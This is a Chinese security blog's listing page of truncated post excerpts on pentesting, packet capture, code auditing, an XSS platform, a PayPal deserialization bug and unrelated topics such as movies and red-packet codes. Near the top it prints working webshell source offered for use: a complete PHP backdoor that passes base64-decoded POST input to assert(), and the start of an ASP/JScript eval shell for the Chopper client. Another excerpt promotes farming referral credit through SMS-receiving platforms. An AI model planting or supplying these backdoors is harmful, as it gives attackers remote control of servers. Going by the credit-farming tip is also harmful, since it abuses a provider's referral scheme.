主要关注网络安全方面的技术、知识和趋势，旨在为网络安全行业的发展做出贡献。
<?php if(isset($_REQUEST['hello'])){ $i[0] = 'asse'.'rt'; $array[] = $i; $key=str_replace("yBZ","",$_POST[ad]); $i[1]=base64_decode($key); $array[0][0]($i[1]); } ?> POC: POST:…
只具有简单的文件管理功能，菜刀配置选Cutstomize 密码：z<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>var Sp = String(Request.form('z'));var Fla = {'E':eval};var St=""var A="H74H72H79H7BH76H61H72H20H53H3DH22H2DH3EH7CH22H2BH53H65H72H76…
手机也没什么好玩的。没话费没流量，就开了个10元1G流量。发现QQ群里有个说有安卓版的sqlmap的工具，当即Baidu了下来。由于是手机编辑。可能图片跑偏了。但是别在意这些细节。我也是昨天下载的。有什么问题…
大家下午好，欢迎收看今天的乌云电视台新闻播报。 现在是3月10日，农历二月初二（听说要剪头发...啊…跑题了），天气还行，空气过得去，湿度…好了，说正题。 今天阳光明媚，春光灿烂，乌云沙龙「深圳站」议题即将公布（还没买票正在观望那几个人我看着你们呢... 下面是议题播报： - 议题一：来自 do9gy 的《漏洞与锁》 …
译 名 Kung Fu Panda 3 片 名 功夫熊猫3/熊猫阿宝3/阿宝正传3 年 代 2016 国 家 中国大陆 / 美国 类 别 喜剧 / 动作 / 动画 / 冒险 上映日期 2016年1月29日 中国 语 言 英语 字 幕 简体中英 / 简体 链 接 …
首先很高兴能够让您点开阅读，相信以下的介绍不会让你失望的！~北极熊扫描器已经有三个年头了，本次更新又是一次大胆的尝试，增加了33万个IP段，一键导入扫描，减少了软件因为多线程导致程序崩溃的概率 …
从去年的8月开始以来，我就一直以坚持的心态让自己一直都在坚持更新，分享，就在今年春节，2月8号，域名到期，我是通过代理商注册，找不到代理商域名就一直处于一直被别人注册的状态，因为是过年的原因，一直没管，知道昨天，才联系到代理商将域名重新解析。数据都在，有任何需要的资源，本站又没有分享过的，可以联系我，尽量会满足各位！ 新年快乐！
我出身在一个普通家庭，家庭条件一般。从小时候起，我就发誓，长大后一定要出人头地，让家里过上好日子。从小好好学习，终于考上了重点大学。最近计算机很热门，听说赚钱也挺多的，我对计算机也比较感兴趣，于是大学就报了软件工程专业。大家都知道软件行业很辛苦，需要学很多东西，而且需要不停地去学习，因为新的技术发展的太快。于是，我认真听课，其实最重要的是要理论和实践结合，于是我就经常泡在机房里做实验。干程序员这一行，首先必须得精通编程语言，C++、java、C#我都有涉猎，Ruby这样的脚本语言我也尝试过…
课程目录： 课时1 0-1建站从零开始-课程介绍 试看 03:01课时2 2-建站从零开始-域名（如何注册域名） 02:57课时3 3-建站从零开始-域名（域名解析IP） 03:18课时4 4-建站从零开始-服务器（了解服务器） 03:05课时5 5-建站从零开始-服务器（购买VPS） 04:44课时6 6-建站从零开始-服务器（VPS安装LNMP） 04:15课时7…
2月115:00中文支付宝红包口令【我发给你这句是假的】19: 45支付宝口令:【电影先锋发红包】20：00 咻一咻可随机获得现金红包21：00咻一咻可随机获得现金红包20：00支付宝口令【海外学子新春快乐】2月2日 10:00口令：敬业福2月7日 20:00口令：恭喜发财2月7日 22:00口令：大吉大利2月8日 00:00口令：新年快乐2月8日 1…
背景：前几天我大习科算是风起云涌了…
前奏，发现appstore搜索排行榜有个街机游戏机~然后就下载下来玩玩， 第一次登录，送了2k金币。。好少，啥都不玩的。里面有个抓娃娃。。。玩玩看，头几次抓到了，后面打死也抓不到，尼玛，怒了。…
注册一个账号绑定邮箱手机后账户里就会有余额然后直接点申请主机就好选择按小时计算 这个余额还是可以欠着的，我已经申请了 而且邀请好友注册还可以加余额，邀请一个加5r余额要撸的话也可以用收码平台去撸, 邀请链接https://www.pppclou…
0x00 摘要在移动逆向分析以及 App 开发的时候，总会需要对其网络行为进行监控测试，本文总结一些抓包思路，并对其使用方法进行实践笔者认为在抓包界，Wireshark 应该算是综合排名第一的工具（其实 Wireshark 自带的命令行工具 tshark 更牛逼）本文总结记录了 5 种抓包方式，掌握其一即可进行实践，欢迎大家一起交流分享
查询方法：打开本页，按下“CTRL+F”组合键，在页面右上角的对话框里，输入你想要电影名称，即可在本页进行搜索！！！祝您愉快！ 《东北偏北》HD高清：…
首先JAVA中的类方法不像php的函数中有那么多的漏洞。java源代码安全文章主要是总结一下，学习一下，希望大家多多指教。Java源代码安全系列文章，将从java本身的函数和三大主流框架的角度去对项目中的类、方法、参数可能存在的漏洞进行实现，方便代码审计中的学习，结合一些半自动化审计工具，发现项目中的安全问题，给出一些关键字方便审计时的直接定位。MVC请参考我园长师傅的：http://drops.wooyun.org/tips/347 …
2016年学生狗福利高中数学.语文.历史.地理.化学.物理复习资料重点都在里面分享百度了解可能会和谐真心想要的自己@我在留言板把百度账号给我！我这边单独分享给你们！…
看雪上瞅见的: http://bbs.pediy.com/showthread.php?t=207511功能：1、支持微信、QQ自动抢红包2、支持手机待机下自动抢红包3、优化代码，抢红包更快、更稳源码:https://github.com/WooyunDota/QiangHongBao
曾经发过一次开源的xss平台 http://zone.wooyun.org/content/23697更新至3.1，算是一个稳定版本吧，预期的功能已都实现，详细介绍可以看github里的README.md特点：单用户，无sql，安装及其方便，对环境几乎无要求，可直接在php虚拟空间使用 （如果…
原文:http://artsploit.blogspot.com/2016/01/paypal-rce.html 在去年12月国外安全研究员发现了一个manager.paypal.com的java序列化漏洞并报告给了paypal进行修复. 这个漏洞异于之前大家发的weblogic jboss webs…
这款软件2014年上架的时候我就首发汉化了，但是当时很多bug，确实用起来很不方便。现在一年多时间洗礼，相信你也会喜欢这个功能强大的应用。…
0x00 前言最近，因为工作原因一直也没时间更新博客。好不容易忙完了一阵，眼看就要过年了，先提前祝大家新年快乐！很多时候，在看白帽子们的漏洞的时候总有一种感觉就是把web渗透简单地理解成了发现web系统漏洞进而获取webshell。其实，个人感觉一个完整的渗透（从黑客的角度去思考问题）应该是以尽一切可能获取目标的系统或者服务器的最高权限，尽可能的发现足够多的敏感信息。这个过程应该包括但不限于以下几个方面：信息刺探： 待渗透目标的系统，人员，组织信息…